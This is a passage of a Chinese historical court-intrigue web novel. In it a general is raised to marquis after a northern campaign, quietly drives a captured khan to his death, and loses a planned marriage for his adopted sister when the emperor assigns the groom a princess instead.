最后拼了从龙之功,才是爬上如今的高位。 可谓是一路多波澜,哪一个节点出问题,那都是去地下报到的节奏。 蓝诚能立功劳,立马让上头人注意到。真就是他有后台。 这后台嘛,落左翼的将卒眼中,那就是赵济世这一位大将。 “陛下,区区卒子侥幸有功,也是仰陛下英明。” 赵济世不提蓝诚。 就因为是自己人,赵济世才不多提,一切看帝王心意。 毕竟蓝诚能不被人飘没了功劳,那就已经胜过太多的底层厮杀汉 。 如此情况,已经算得一帕风顺。赵济世就不必再添彩。 “哈哈哈……”承顺帝心情不错的样子。 “爱卿,你替朕去传话,传朕的功臣来。对,不止传了蓝队正,还要传了挛鞮一族的大汗。” 这会儿的承顺帝就想见一见英雄了得的蓝诚。 同时,也想见一见想要他小命的挛鞮大石。 见一见失败者,这是承顺帝的恶趣味。 在心头,承顺帝也在琢磨了他要如何收拾挛鞮大石。 赵济世领帝王之命,他去传话。 见到蓝诚时,赵济世说了帝王口谕。蓝诚恭敬应下。 蓝诚望向赵济世时,一派忠诚。他的心中,这效忠的对象从来不是承顺帝。 而是赵济世、万珍珠夫妻。 蓝诚知道,不止他欠了万内相一条命。他的家族也欠了万内相好几条性命。 旧恩太重,蓝诚唯一死报之。 实际上嘛,甭管是万内相,还是浑江公主,又或者着新唐县伯。 这一家子恩人从来不需要蓝诚与其家族的性命。而是相反的给了蓝诚机会,让蓝诚奔了前程。 这等恩人又添恩情,蓝诚如何不心生感激。 情太深,恩太重,蓝诚心里,沉甸甸的。 囚车里,挛鞮大石与赵济世再相见。挛鞮大石很狼狈。 赵济世穿着甲胄,他望着挛鞮大石,说道:“大汗,别来无恙。” “……”挛鞮大石沉默。 “我一个失败者,让新唐县伯看笑话了。”挛鞮大石对赵济世的称呼都改了。 当然,赵济世称呼对方的态度,也一样变了。 毕竟赵济世是来传帝王口谕,这等场合,可不能轻佻。 “陛下传召挛鞮一族大汗晋见。”赵济世说了承顺帝的口谕。 此时,囚车打开。 至于挛鞮大石身上绑着的镣铐,可没人给打开。 谁都要防一手,晋见帝王,万一出差子,没谁想赔了吃饭的家伙。 赵济世做护送人,领了蓝诚往帝王的大帐去。 至于挛鞮大石还被禁军给押着跟在后头。 等着到了帝王大帐前,赵济世先进去禀话。 尔后,帝王吩咐,蓝诚又进大帐。 “蓝队正,你有功。”承顺帝李明弘瞧着蓝诚,他笑道:“朕当重赏有功之臣。” 蓝诚叩首,不言不语。 帝王瞧着寡言的武卒,他笑道:“赵爱卿,瞧瞧,你这是你左翼的队卒。他这等大功,你以为,当如何筹赏方显公正?” 赵济世躬身见礼,回道:“陛下恩赏,皇恩浩荡。您赏薄赏厚,一定有您的道理。做臣子的,哪有多嘴。” “请圣断。”赵济世的态度,那就是没有态度。 承顺帝瞧着蓝诚,笑道:“好臣子,朕确实要重赏。” 这时候的承顺帝瞧着赵济世,又说道:“此回,不止蓝队正有功,赵爱卿也有大功。” “朕晋赵爱卿为新唐侯,加食邑一县千户。”承顺帝先恩赏了赵济世。 尔后,帝王的目光又落了蓝诚的身上。承顺帝讲道:“简拔蓝诚进禁军当差,赐忠顺男一爵。” 承顺帝的嘴里,蓝诚得了一个男爵的爵位。 至于是世袭还是流爵,帝王没讲明。 倒是赵济世的新唐侯一爵,这加了食邑,自然是传家的世袭之爵。 赵济世赶紧叩谢天恩。蓝诚一样,也是叩谢帝王赏爵。 对于二人而言,今日都是收获满满。 赏了爵位,这升官也是理所当然的。毕竟爵位与官帽子那是相辅相成。 这一头赵济世升了爵位。那一头,挛鞮大石也被传进了帝王的大帐内。 承顺帝李明弘瞧着被押跪在地上的草原汉子。 李明弘问道:“为何背叛大赵?” 早有盟友,又见攻伐。在李明弘这一位承顺帝的眼中,挛鞮大石背信弃义。 “你乃中原天子,我乃草原大汉。何来背信一说?” 挛鞮大石理所当然,说的叫一个理直气壮。 “当初,我邀请天子结盟,誓师,举行昭告天下的仪式。天子,你拒绝了。” 挛鞮大石说着旧事。 当初大晋有人递小话,在挛鞮大石的耳边蛐蛐。 那时候的挛鞮大石确实动心。 只不过嘛,挛鞮大石还是觉得不能相信。于是给大赵朝的承顺帝差了信使。 要求与大赵盟誓。 这不是嘴皮子功夫,而要两朝主宰一起向天地发誓言,让天地做见证,还要给天地祭祀血食。 这等要求,大赵天子李明弘拒绝了。 在李明弘的心里,他可以利用胡人。他不想跟挛鞮大石盟誓言。 因为李明弘觉得挛鞮大石不配。 挛鞮大石这一位大汗,先天就不足。可谓是一个跛子。 瞧瞧,挛鞮大石的汗位,还是凭着大赵朝的帮衬才是一一击败了对手。 要不然的话,挛鞮大石的汗位,草原之上又有几人承认?这很难说。 谁让挛鞮大石的继承权嘛,那就有一点不正统。 草原之上,关于挛鞮大石的结局,一切似乎在大赵天子李明弘的一念之间。 便是挛鞮大石的部族结局,也在帝王的一念之间。 赵济世在这一场戏里,他是旁观者。可在心底,赵济世也有一点小九九。 赵济世琢磨着如何拿了更大的好处。毕竟若有好处不拿一拿,他心痒痒。 承顺帝李明弘没想让挛鞮大石去死。帝王更想瞧一瞧大汗舞,在燕京都里,由胡人大汗替他献舞。 这等事情在青史之上记一笔,帝王也是大大的涨脸。 让一个胡人大汗草草死了,承顺帝觉得不解气。 让敌人匍匐于脚下,残喘着求话,那才是更解气三分。 帝王的打算,赵济世瞧明白了。 这一日,又被关押回囚车的挛鞮大石得了一个暗示。 有人在挛鞮大石的耳边蛐蛐。 “大汗乃英雄,不当受此侮辱。” “大汗英名不存,挛鞮一族亡矣……” 各种小话,尽数传进挛鞮大石的耳里。 赵济世在这等时候没继续当了门神。这做帝王门神的人换成了蓝诚这一位新贵。 赵济世回了帐中休息。可他没一点休息的意思。 赵济世在等了挛鞮大石那一边的消息。 赵济世在等着挛鞮大石的选择。这会儿的赵济世拿着茶盏,他没品尝,他只是端着茶盏在沉思。 如今在行军途中,不可能饮酒。于是吃吃茶,那倒便宜。 赵济世呢喃自语,小声道:“挛鞮大哥,好大哥。你是否还记得曾经旧语,要做大英雄啊。” “英雄,岂能不流血?”赵济世的眼神很冷。 在赵济世的心里,他想让挛鞮大石去死。 浑江郡,那是赵济世瞧上的肥肉。想吞,也不是一口能吞下。 借机占地,借人占地,在赵济世的谋划里。 当然了,吞了挛鞮一族的底蕴,赵济世也很想。 只这里面的操作嘛,那得微操。 赵济世对于自己的技术很放心,就是担忧了挛鞮大石不去干脆的死了。 生死面前有大恐怖,不是谁都有视死如生。 考验一个英雄,不在平日言语,而在生死之间,是否敢超然 赴死。 赵济世很想瞧一瞧挛鞮大石的气量。这不是真狠人,对别人狠,不算真狠。 对自己更狠,那才叫狠。 “报。” “进来。”赵济世听着帐外的心腹报信,他唤道。 “侯爷,挛鞮大汗,死了。”蒋一回话道。 “死了……”赵济世的心底,连声道了三个“好”字。 只面上,赵济世还是沉下脸色,叹息一声,说道:“可惜了。” “我与挛鞮大汗曾经相识一场,见他如今收场,唉。” 赵济世似乎还念旧情一般。 至于说让挛鞮大石去死? 赵济世只是让人念叨几句,他没动手,一切是挛鞮大石自己的意思。 赵济世坦坦荡荡,他就是这般的汉子,从来不会怪自己心黑手辣。 赵济世就怕自己手太软,让自己吃亏,更怕连累自己的妻眷与兄弟们。 “这事情我知道了。”赵济世摆摆手。 关于后续如何?赵济世还得等等,他要等一等,瞧一瞧帝王那一边是什么态度。 帝王大帐内。 承顺帝李明弘知道这一个消息后,大骂守了挛鞮大石的护卫全是白痴。 帝王很生气,那些护卫个个都要受了帝王之怒。 只是承顺帝也没法子,人死了,就真的死了。 帝王除了怒了一下,就是怒了一下。 倒是赵济世这一边知道帝王的态度后。赵济世决定做一点什么。 挛鞮一族,挛鞮大石膝下有一对嫡出的儿女。 草原上,嫡出与庶出的差距大不大?这不看嫡出。 而要看子女生母的家族势力大不大。 有母族支持的,那就大大不同。如果母族不给力,甭管嫡出庶出,都会被人奚落,更会被人歧视。 草原之上,实力为王。拳头大,才是硬道理。 赵济世差了心腹去寻挛鞮大石的一双儿女。 或者说挛鞮一族的暗手,有人在盯着。 大晋朝那一边有暗子,那些暗子里,还有万内相的耳目。 赵济世凭着女婿的干系,他是可以借用一二的。 阴谋阳谋,事事非非,悲欢离合。一幕一幕的大戏,在权利面前,总会上演。 赵济世就是参演人之一。 大赵朝,北镇。 万珍珠办了一场宴会,或者说她是拉一拉关系。 毕竟她早坐稳胎了,也应该见一见诸客。 不可能怀孕了,就断了所有的干系,那是闭门养胎,两耳不闻窗外事。 真如此,万珍珠是万万不能的。毕竟她是新唐县伯府的主母。 这主母之责,万珍珠得担起来。 “嫂嫂,有天使来。”马小莲在伯府里,她替万珍珠帮衬一二。 这一日,万珍珠午间小憩醒来,她就见着马小莲欢喜而来。 “天使……”万珍珠听着二字,就挺惊讶。 “万嬷嬷。”万珍珠唤一声。 陪嫁万嬷嬷忙走上前,搀扶了主母起身。尔后,万珍珠吩咐道:“嬷嬷,替我梳头。” “二妹妹,我简单梳洗一番,再迎天使。”万珍珠笑道:“还要二妹妹替我分忧,差大管事好好的招待了天使等一众人,万不可懈怠了。” “嫂嫂放心,大管事已经招待了天使等人。伯府上下,没谁敢轻忽此事的。”马小莲忙回道。 说是简单梳洗,可万珍珠是要去见了天使。 天使,天子使节。 万珍珠一定得装戴严肃,伯夫人的吉服朝冠等,哪一样都得谨慎三分。 等梳妆好后,万珍珠领着诸人往前头正院去。 摆香案,迎天使,接圣意。 一套流程下来,万珍珠熟悉。甭管在镐京都的旧日,那会儿这等接迎天使的事情,万珍珠有经验的很。 “奉天承运皇帝诏曰……” 天使念着圣旨,万珍珠跪迎圣旨。 好歹坐稳胎,哪怕接圣旨。万珍珠没感觉到小腹难受。 等天使念完圣旨后,万珍珠知道天使来意。 他家有喜,伯府晋为侯府。 “恭喜侯夫人,贺喜侯夫人。”天使双手捧着圣旨,递给谢恩后的万珍珠。 “同喜,同喜。”万珍珠笑语晏晏。 不是嘴巴说一说同喜,万珍珠还吩咐大管事。 这等时候可得好好的谢谢传旨的天使等诸人。 晋爵嘛,这是府上的大喜事。一同沾一沾喜气,再好不过。 如今热闹一回,天使等人拿了侯府的重谢。 尔后,告辞离开。 此时的万珍珠捧着圣旨,这时候当然要迎了圣旨供奉起来。 尔后,万珍珠又发话,府里上下,俱是同喜。 当差的诸人,人人加赏三个月的月钱。 一时之间,侯府上下,人人欢腾。 “恭喜嫂嫂。”马小莲也是贺喜的诸人之一。 马珍珠已经瞧见了侯府里的诸人,一拔接一拔的来给她磕头。 这不止谢恩,也是沾了主家的喜庆。对此,万珍珠不能拒绝的。 “二妹妹,这等喜事太突然了。”万珍珠实话实说。 “一时之间,我只剩下欢喜了。” 万珍珠说着心里感受,她执了马小莲的手,笑道:“至于府上是否要大庆贺,我瞧着缓缓。这立功的男主人不在,我这庆贺,也是缺了一个主角。” “到时候有人登门递话,求问一二,我这态度,还要妹妹替我分说一番。” 万珍珠怀孕了,有些待客,能省则省。当然省不了的,她还是要出面的。 “嫂嫂放心,我尽省得。”马小莲就差拍胸口保证。 又两日,北边赵济世的书信送了回来。 万珍珠得着夫君的书信,她一读后,就知道更多的详情。 当然,在家书里,赵济世还跟万珍珠又提一事。 万珍珠沉思片刻,差万嬷嬷去请人。 又过一会子,马小莲到了后宅正院。她一来,便是笑道:“嫂嫂寻我,可有要紧的事情?” “二妹妹,你赵大哥寄回家书。”万珍珠提一事。 “这不,这里面有一桩事情跟你有干系。我这是想问一问你的心思。”万珍珠挥挥手,挥退了侍候的丫鬟婆子。 屋内,万珍珠留了马小莲。 “妹妹,坐。”万珍珠唤了马小莲坐近处。 尔后,万珍珠又对马小莲说道:“这一回北边大战,朝堂又出新贵。” “有一位禁军里的郎君立了大功,被陛下册立为男爵。” “他姓蓝名诚,是一个好儿郎。你赵大哥想替你保媒。只不知道,这一位新贵可入得,入不得二妹妹的法眼?” 万珍珠笑意盈盈的望着马小莲,问了此一番话道。 对于蓝诚是谁,万珍珠多清楚。这可是万珍珠塞去的人手。 就是太知道了,万珍珠更想拉拢了马小莲。 不止什么新贵联姻。 而是万珍珠希望她与夫君的义弟们,那是关系更亲近三分。 彼此有意,不止赵济世有意,万珍珠也有意。 “堂堂男爵,又哪会少了世家世族的名门千金保谋。我,这配得上吗?”马小莲有一点自卑。 马小莲年幼时,她的家境不好。 近几年吃得饱饭,过得好日子。还是全靠了赵大哥给自家的帮衬。 马小莲的心底,她还记着当初的困境。如此,免不得自卑些。 马小莲自卑,万珍珠可不会。万珍珠执起马小莲的手,笑道:“妹妹哪里差了,哪里都好着。” “二妹妹想想,你赵大哥多稳重的人。他敢开口,只要二妹妹应了,这事情必成。”万珍珠给马小莲鼓励一番。 “……”马小莲听着嫂嫂的鼓励。 在心中,马小莲也有畅想。她一直想嫁一个大英雄。 这一位蓝爵爷是新贵,马小莲没什么不满意的。 “嗯。”马小莲轻轻颔首,她害羞了。 “我全听哥哥嫂嫂的。”马小莲说道。 “好,好。我懂了二妹妹的意思。”万珍珠一瞧着马小莲点头,还有什么不懂的。 这一桩姻缘,十分可能,那就会成功。 反正没意外的话,那注意保真的会成。至于会不会有意外? 万珍珠想,不会有的。 第77章 大赵朝,北镇。 万珍珠怀孕了,又遇上夫君晋升了爵位。一时间之间,哪怕万珍珠借口爵位的主人赵济世不在,一切缓缓。 在北镇,还是有许多人寻了借口登门。 为的什么?自然是探了第一手的消息,同时,在万珍珠这一侠新唐侯夫人的面前露一露脸。 “嫂嫂辛苦了。”马小莲瞧着大嫂嫂万氏,她是心疼一回。 “这些人也不知趣,明明都告诉她们了,一切缓缓。还是一一登门拜访,累着嫂嫂多番 忙碌。“马小莲的嘴里,那是处处替嫂嫂万氏叫委屈。 “我不过露一露面,缓一缓大家伙的焦虑心情。”万珍珠很是坦然的态度。 “二妹妹一心替我报委屈,我啊,有自家人心疼,又哪来的委屈。”万珍珠的嘴里,还是宽慰一番马小莲。 马小莲近日的心情很好,哪怕处处替嫂嫂万氏帮衬忙碌。 马小莲依然觉得一切值着。 在心头,马小莲也是偶尔回响了午夜梦回里的梦。 马小莲的心湖上,对于赵大哥和嫂嫂万氏的话,倒底是留了几分波澜。 蓝诚,忠顺男是什么模样的英雄人物? 马小莲在心底总会幻想一二。 在少女的心思里,这般的英雄人物总跟七彩祥云一般的脱离不开干系。 因为在梦里,马小莲梦见一位穿着银色甲胄的英雄,他驾着七彩的祥云。 在祥云上,那一种穿戴银色甲胄的将军还是骑着马头大马。 那似乎是一头纯白色的大骏马。马小莲一想着梦中的一切,她害羞的脸红了。 “……”万珍珠本来在跟马小莲讲话。 二人谈着谈着,马小莲走神了。尔后,万珍珠一瞧着马小莲那愣愣走神,又是害羞着红了脸蛋儿的模样。 万珍珠瞧得有滋有味,倒是想到一些什么。 少女春心萌动,能想着什么?万珍珠猜测一二,便是知晓着。 只是做为过来人,万珍珠不会揭开盖子。少女的心事,也是害羞着。 一池春水动,一颗心飘摇。 似美酒醇香,蕴一心欢喜。 至少在万珍珠的心头,她这般瞧了马小莲的荡漾心情。 大赵朝,燕京都,崔府。 崔八姑娘听着妹妹在耳边叽叽喳喳。她的心情淡淡。 早说要放弃了当初的一点小心思。既然说了,当然要做到。 崔八姑娘已经定亲,未来的夫家是宁国公府的常二公子。 崔八姑娘待未来的夫君当然一心一意。至于为了新唐侯曾动过的心思,不过是过眼云烟。早成过去旧事,不提也罢。 “姐姐,你说,新唐侯是不是运道太好,命数太强。”崔九姑娘叽叽喳喳的对象,便是新唐侯赵济世。 “从北地游侠儿一路走至陛下跟前,陪陛下从王府世子到一代帝王。新唐侯有从龙之功,又立救驾之功。被晋封为侯爵,天经地义,无可挑剔。” 崔八姑娘说的坦坦荡荡。这些原由,全摆在明面上。 谁瞧着,一时半会儿的也挑刺不成。 真挑刺,那不是说从龙之功值钱。又或者救驾之功不值钱,帝王一命,太浅薄了? 可没人这般不识趣的。所以,新唐侯的爵位,谁见着,只能夸耀了一番新唐侯的本事与能耐。 “姐姐说的对。”崔九姑娘想一想,好似就如姐姐说的这么一番道理。 “可这一回,不止新唐侯风光。还有那一位忠顺男……”崔九姑娘又提一人。 “忠顺男……”崔八姑娘轻轻颔首,她呢喃道:“这一位新贵确实惹眼了,也不知道会便宜哪一家的女郎招为夫婿。” 崔八姑娘很懂,这等新贵,在帝王跟前挂号的人物。 很多世家世族是乐意结一门姻亲的。 不过舍一女儿,舍一份嫁妆。真给家族添了一个大助力。 哪一门世家世族都是乐意的很。 只忠顺男能得了天子青睐,想必,那姻缘不是小事。 应该会有太多人想争取了。 至少崔八姑娘是这般认为的。所以,她真的不在意。 在燕京都的她,更在意了自己的婚事。她呢,在秋日,也是要做了新嫁娘。嫁进宁国公府做了常二公子的新妇。宁国公府的嫡出小儿媳妇。 大晋朝,镐京都,内城,浑江公主府。 万忠良一回府,他跟妻子讲一事,此时的万忠良一脸喜色。 “好叫你知,珍珠那儿,遇着一桩大喜事。”万忠良满面高兴的神情,他急急说道:“女婿晋了爵位,添了一县千户的食邑,如今不是县伯,而是新唐侯。堂堂正正的侯爷。” “新唐侯……”牛二囡听过夫君的话,捂嘴一回。 “快,夫君,你给说说究竟怎么回事?”牛二囡太好奇里面的细节。 浑江公主府里,万忠良夫妻就赵济世的晋爵一事,还是仔细的说道一二。 比起一般人来,万忠良知道的详情可多着。 毕竟万忠良的耳目灵通,借着大晋朝的皇家耳目。 万忠良又关心了女婿的举动,这不,在大草原上发生的事情,万忠良不说一五一十尽数知晓。 凭着知晓的消息,再是思量一番,九成九的内容,万忠良都能含糊的知道了。 万忠良知道了,能跟妻子讲的,他当然就是讲一回。 “女婿能耐。珍珠腹中的孩子一降生,那是端上了金饭碗。好,好。真是太好了。祖宗保佑。” 牛二囡双手合十,还是念念有词。 万忠良瞧着妻子的欢喜,他在心中想,祖宗保佑吗? 怕是真保佑的人,也应该是赵氏一族的祖先吧。 至于万氏一族的祖先,想一想,万忠良还是羞愧的。 万忠良的腹下缺了二两肉,他自卑者。 再则当年一场大水,家乡旧址早已变更。 曾经的族地位置,如今在水下面。被水淹没了一切。 在万忠良的眼中,那不是旧日的故乡,也没了亲人的笑容。 那不熟悉的山山水水,除了留名儿,让万忠良熟悉外。 万忠良真正熟悉的一切,在大洪水后,早都不存在了。 大晋朝,镐京都,皇宫,昭阳宫。 李皇后跟陪嫁李嬷嬷讲一讲闲话,她说道:“三皇子抚育在泰和宫。本宫想见一见,也难啊。” “陛下这防了本宫一手。”李皇后不开心。 堂堂中宫皇后,如今拿捏了宫务。可私下呢,帝王还是留了人手,一直防备着李皇后。 李皇后是大赵朝的淑阳公主,她心底自有骄傲。 被夫君这般防着,跟防小人,防贼子一样。让李皇后心里憋屈极了。 “日久见人心,皇后娘娘,您请宽心。待往后,天子一定能瞧见了您的好。”李嬷嬷嘴里的天子是洪福帝。 李嬷嬷捡着好话在哄了李皇后。 “罢,且依嬷嬷所言,日久见人心呐。”李皇后笑一笑,一笔带过此话题。 “对了,嬷嬷,你禀上来的消息,说北镇的新唐县伯晋爵为新唐侯。这一事,倒也稀罕着。” 李皇后又提一事。 “可不,这可是大事。”李嬷嬷来了兴致,在李皇后跟前又是讲了一番。 “浑江公主好眼光。”李皇后夸赞一回。 “这浑江公主跟她爹万内相一样,父女二人都会相看俊杰。当年的万内相一心忠诚于陛下。浑江公主嘛,就是一眼成年的相中了新唐侯。” 李皇后真心夸了话。 李皇后想一想自个,她当年挑中的,那又是什么臭狗屎? 光想一想,李皇后觉得当年的自己差一眼真成了睁眼瞎。 没法子,年少轻狂,眼光不足。这不是李皇后给自己的评价。 不过嘛,李皇后也不是多在意旧事。反正那些旧事,李皇后早平了。 人都不在了,想翻案的,又从何翻起? 没人证物证,有人敢蛐蛐,让李皇后抓着。她不介意收拾一下人心,罚了一二多番之辈。 实则是李皇后想多了,她的一些旧事,只要有一点不光彩的地方。 承顺帝李明弘早替妹妹料理干净了手尾。 北边,草原。 正是好时节。这会儿赵济世很忙碌,或者说,他安排的人很忙碌。 大草原上,有人风光,有人失意。风光的时候可能短暂,失意的人嘛,太容易丢了小命。 挛鞮一族的阏氏抱着一双儿女,她瞧着使节。 “你是新唐侯差遣来的?”阏氏不怎么相信了使节的话语。 “拿出来你的信物来。”阏氏严肃的 讲道。 对于风雨飘摇的挛鞮一族而言,阏氏替夫行了权利。 当然这一份权利不止来自她的夫君与儿子,更来自她的家族。 挛鞮一族阏氏的母族,同样是草原上的贵种。还是八大贵之一。 如此,她才能立足在挛鞮一族的掌权者位置上。 也在丈夫出事后,还能抓了部落,没让部落真的风吹雨打去。 “此,新唐侯爷的信物,请阏氏查验。”信使呈上信物。 阏氏接守,验看后,轻轻颔首。 “新唐侯是挛鞮氏一族大汗的兄弟,大汗信他,我也信他。”阏氏的嘴里这般讲话。 实则在心中,阏氏不怎么相信。 只是如今的部落需要休养,外有强敌,内有隐忧。阏氏需要盟友,还是强力的盟友来保护她自己和一双儿女。 “请您过目,这是侯爷的书信。”信使递上一封书信。 阏氏接过,查看火漆后,才是拆开书信。 阏氏看过书信后,她笑了,说道:“好,新唐侯果然是可靠的贵人。” “你家侯爷请求定立婚约,我替部落的明珠,大汗的宝贝,我的女儿挛鞮明珠应下与新唐侯世子的婚约。” 阏氏举手,立了誓言,说道:“挛鞮氏一族的明珠,注定嫁给了赵氏的儿郎。上苍为证,大地为证。” 阏氏是草原贵人,她是念过中原的书,识过中原的字。 或者说在这一个世道也罢,还是前朝也罢。 特别是前朝,那会儿的草原也是臣服于中原的大皇帝脚下。 草原上的贵人们,那争相学习的自然是中原的风俗与文化。 强者,总会被弱者模仿学习。 大赵出征的大军里,中军大帐。忠顺男蓝诚一直给承顺帝当了新门神。 这一当,一直当差至东镇的李节度使归来。 李节度使在路途中,他就得到了消息。他知道,他追击敌人过远。 免不得失了敌踪外,还是晚了一手,落了一手。 新唐侯的救驾之功,李节度使羡慕的很。 没奈何,这是命数。至少李节度使这般安慰自己。 不如此,李节度使怕自己让嫉妒之火燃了。 承顺帝见了宗亲,还是安抚一番李节度使。 对于在合适位置上的宗亲,承顺帝是乐意给一二体面的。 再则说这一回的事情,纯粹是意外。又或者说,在亲征前,承顺帝有心理准备。 亲征在外,免不得遇上意外。有些事情想避名了,只要踏上的战场,便是可能会遇着。 承顺帝能想开。对于帝王而言,在养伤时,他还在想着一些事情。 安抚一番李节度使,尔后,承顺帝唤了自己的新门神忠顺男。 “爱卿近日的忠诚之举,朕全瞧在眼中。爱卿忠诚一片,朕心甚慰。”承顺帝夸一番忠顺男。 蓝诚恭敬的听着帝王的夸。 蓝诚可记得新唐侯的提点。他的爵位是什么? 忠顺。 这二字什么意思,不用人提,蓝诚读得懂。 帝王要着臣子的一片忠心,还要一片恭顺。 当一个唯帝王命是从的忠心臣子嘛,蓝诚当然懂。 “朕听说爱卿尚未成婚?”帝王问道。 “禀陛下,臣确实尚未成婚。”蓝诚实话实说。 “如此好,朕替爱卿赐一桩婚约。”承顺帝又道。 “……”蓝诚哑口无言。 “陛下美意,臣本不应拒绝。只是新唐侯给臣露了口风,说替臣保一门姻缘,撮合一位贵女……”蓝诚是一个实在人,这会儿就把赵济世卖的干干净净。 本来承顺帝就一说,如今听着蓝诚的话。承顺帝心头不高兴。 承顺帝不是想下面人抱成一团的。新贵搂成一团。 那么,这想干什么? 结党营私吗?这是帝王的大忌讳。 文官抱团,可能还让帝王笑话一番。寒微之辈,那是抱团在一起,帝王都不带多瞧几眼。 当然,世家世族若是抱团,一样让帝王猜忌的很。 比起世家世族来,武臣抱团了,就让帝王觉得背后的汗毛都是竖了起来。 天子,兵强马壮尔。 从古至今,哪一代开国帝王上位,那靠着都是武德充沛。 承顺帝心中明了,此时,他的脸上笑意更甚。 “来人,传新唐侯晋见。”承顺帝吩咐一句。 “唯。”伺候在帝王跟前的太监忙应话。 不稍一刻钟,赵济世被传唤来了帝王的大帐中。 “臣,恭请陛下圣安。”赵济世参拜见礼。 “免礼,平身。” 承顺帝让赵济世起身后,他指一指蓝诚,笑道:“朕唤赵爱卿来,纯粹是有一桩事情跟赵爱卿有干系。” “陛下,臣糊涂,请您指明。”赵济世的态度一如既往,又装了傻。 “朕想替忠顺男赐婚,忠顺男拒绝,说有了赵爱卿的保媒。”承顺帝这话一讲。 赵济世有一种坐蜡的感觉。好在,这等感觉,赵济世略略觉得不舒坦外。 旁的,倒无大碍。 “禀陛下,确实有这么一回事。”赵济世坦坦荡荡。 在天子跟前一直是什么人设,赵济世从一而终。 “忠顺男未婚配,臣自己有媳妇,有孩子。这不,就想着忠顺男也当新妇孩子热坑头,好好过日子。” 赵济世尽量捡着家常里短的态度讲话。他不想让帝王误会什么。 或者说哪怕被帝王误会什么,至少赵济世的态度得摆出来。 他没那么想,如果巧合,纯粹是帝王多疑。 帝王多疑猜忌,那是帝王的问题,跟臣子没干系的。 “臣的府上,有一位义妹。这一位义妹的年岁与忠顺男相当。臣想保媒,便是这一位义婚与忠顺男的姻缘。”赵济世把马小莲抬出来。 “……”承顺帝的目光落在赵济世的身上,有一点冷。 “一家好男,多家女求。倒也正常。”承顺帝赞同一回。 “只这一回,朕貌似要抢了赵爱卿的义妹夫婿人选,赵爱卿,可乐意退一步,让一让?” 承顺帝问道。 帝王都是开口,赵济世能怎么办。 赵济世当然是叩谢天恩,雷霆雨露,俱是天恩。 赵济世是臣子,拒绝不得。 赵济世都识趣了,蓝诚当然也是低了头。 “好,朕今日高兴,可惜,伤势未痊愈。不然,当浮一大白。” 承顺帝很高兴。 借此机会,承顺帝开口替忠顺男赐婚。 承顺帝给忠顺男赐婚的对象嘛,那是当今太上皇的宝贝明珠,皇室的贞静公主。 忠顺男做了驸马,这当然算是一步登天,跟皇室拉了关系,成了皇亲国戚。 大赵的驸马,也没说不能干涉了朝政。这驸马嘛,也是可以做得有声有色,有滋有味。 除了只能尚公主,不可纳二色外,好像尽数归于好处。 毕竟不能纳二色,在男权时代,很多的男子还是不开心的。 蓝诚谢恩,叩头认领了这一桩承顺帝的赐婚。 承顺帝瞧着忠顺男,在心里,承顺帝也是感慨一番。 其时刚开口时,承顺帝想撮合了忠顺男迎娶的是宗室女。 只不过在新唐侯掺合一回后,承顺帝改了主意。 这一回受伤,承顺帝心有担忧。这不,防一手罢了。 承顺元年,大赵出击北方草原,大胜而归。 只大军未回了北镇,一个消息先回北镇。 节度使府邸上。万珍珠得着夫君的家书。阅读后,万珍珠傻眼了。 “这,这……”万珍珠一时间,她都不知道应该讲一些什么话语。 能说什么? 说马小莲这一位二妹妹跟忠顺男蓝诚是有缘无份。 可二人往前,也是没怎么相处的。 只是这一桩姻缘已经告知了马小莲,万珍珠太知道,马二妹妹动心了。 一个少女动心了,突然再告诉她,她本来的未婚夫被人给截走。 这不是往人心窝子上捅了刀子嘛。太狠了。 只是事情已经闹出来,大军也开拔,很快,北镇的左翼人马会回北镇故地。 这事情真瞒不了人。是真的,摆那儿。 没可能撒谎言,毕竟,这关系了马小莲一辈子的终身大事。 “唉哟。”就这会儿,万珍珠感受到了腹中的胎儿动静。 这时候孩子有胎动,让万珍珠惊呼一回。 当娘了的万珍珠想通了,罢罢,有话早说。 也不瞒人。 瞒人,那不是万珍珠的性子。 “万嬷嬷,去请了马二妹妹前来。”万珍珠吩咐一句。 “唯。”万嬷嬷应下话,亲自去请人。 有万嬷嬷出面,马小莲很快来了万珍珠住的后宅正院。 “嫂嫂寻我,可有要事?”马小莲关切的问道。 “好妹妹,快落坐。 “万珍珠招呼马小莲落坐。 尔后,万珍珠亲自给马小莲斟茶。 马小莲有一点忐忑不安。瞧着嫂嫂这般热忱。 不,不止是热忱,那是过于的客气了。 马小莲凭着直觉,她产生了一种坏直觉。 “嫂嫂……”马小莲唤一声。 “好妹妹,嫂嫂对不住你,你赵大哥也对不住你。”万珍珠目光真诚,她望着马小莲,便是一口气把话讲完,讲透。 “我刚接着家书,你赵大哥寄回来的。在信里,你赵大哥讲,忠顺男的婚事不成了。陛下发话,专门替忠顺男指了婚,忠顺男往后是天家的驸马,太上皇最心疼女儿贞静公主的驸马。” 万珍珠把一席话讲完,马小莲愣在当场。 吃甚的茶? 马小莲差一点连差茶盏都端不住。 这会儿把马小莲只把手中的茶盏又搁回了桌上。 马小莲压抑着心情。 这突如其来的消息,让马小莲避之不及。 “嫂嫂,我……”一时之间,马小莲词穷了。 “都怨嫂嫂,都怨你赵大哥。这一回,是我们夫妻误了二妹妹。”万珍珠认错一回。 明明保媒,这还保成一桩坏事。万珍珠也是觉得锅从天降。 可不是天降嘛,天子降下的灾事。 “这怨不得嫂嫂和赵大哥,您二位只有好意。”马小莲想通了。 或者说住在节度使府上这些日子,马小莲真感受到了嫂嫂的待人好。 想通了,马小莲自然不能怨天由人。当然,想不通,也不成。毕竟婚事是天子赐的。 第78章 大赵朝,北镇,郡司马宅。 司徒夫人望着小女儿,她心头一阵悲凉。 “我这破身子不中用。”司徒夫人一辈子就生了两儿两女。 可惜夭折了两个孩子,养大的就一儿一女。 儿子成婚了,孙子都抱上了。结果夫妻离心。 闹到如今的局面,孙子跟了丈夫改回杨姓。 当年的入赘,更像是成了一场笑话。 岳丈扶我青云志。 一朝得意时,自然是挥剑了岳家的恩情剑。 司徒夫人后悔在于,她真信了男人的那一张破嘴。 明明当年,宗族与父亲商量了,过继一个无父无母的近亲兄弟做嗣子。 而她呢,便是出嫁联姻。 介于父亲要过继嗣子,她这一个亲生女儿可以更多添了一份嫁妆。 在嫁妆上,宗族会容忍的。 那些年的司徒夫人太心高气傲,又或者说当年的杨司马太英俊,太会哄了女郎。 年少的司徒夫人被哄得心花怒放,真以为自己遇上真命郎君。 司徒夫人后悔了,可惜,老父亲过逝。宗族也是使不上多少力。 当年的父亲没有过继嗣子一事,在族里已经得罪了人。 前尘旧怨,司徒夫人在宗族里,也是有仇家的。 